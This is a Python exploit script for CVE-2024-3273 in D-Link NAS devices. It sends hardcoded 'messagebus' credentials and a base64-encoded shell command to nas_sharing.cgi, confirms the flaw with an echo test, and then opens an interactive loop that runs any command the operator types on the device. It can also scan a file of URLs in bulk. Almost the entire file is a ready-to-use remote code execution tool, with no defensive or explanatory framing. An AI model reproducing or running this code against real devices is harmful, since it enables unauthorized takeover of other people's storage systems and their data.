import requests
import urllib3
import re
from urllib.parse import urljoin,quote
import argparse
import ssl
import base64
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def check(url):
    url = url.rstrip("/")
    target = urljoin(url, "/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=ZWNobwktZQlcXHg2NVxceDYzXFx4NjhcXHg2ZlxceDIwXFx4NjhcXHg2NVxceDZjXFx4NmNcXHg2ZlxceDc3XFx4NmZcXHg3MlxceDZjXFx4NjR8c2g=")
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
    }
    try:
        response = requests.get(target, verify=False, headers=headers, timeout=15)
        if response.status_code == 200 and 'helloworld' in response.text:
                print(f"\033[31mDiscovered:{url}: D-LinkNAS_CVE-2024-3273_RCE!\033[0m")
                return True
    except Exception as e:
        pass

def run(url):
    url = url.rstrip("/")
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
    }
    if check(url):
        while True:
            command = input("\033[34mPlease input command (stop input:exit):\033[0m")
            command_hex = ''.join(f'\\\\x{ord(c):02x}' for c in command)
            command_final = f"echo -e {command_hex}|sh".replace(' ', '\t')
            base64_cmd: str = base64.b64encode(command_final.encode()).decode()
            if "exit" not in command:
                target = urljoin(url, "/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={}").format(base64_cmd)
                try:
                    response_sult = requests.get(target, verify=False, headers=headers, timeout=15)
                    if response_sult.status_code == 200 and 'xml' in response_sult.text:
                        result = response_sult.text.split('<?xml', 1)[0]
                        print(result)
                except Exception as e:
                    print(e)
            else:
                break

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        run(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")
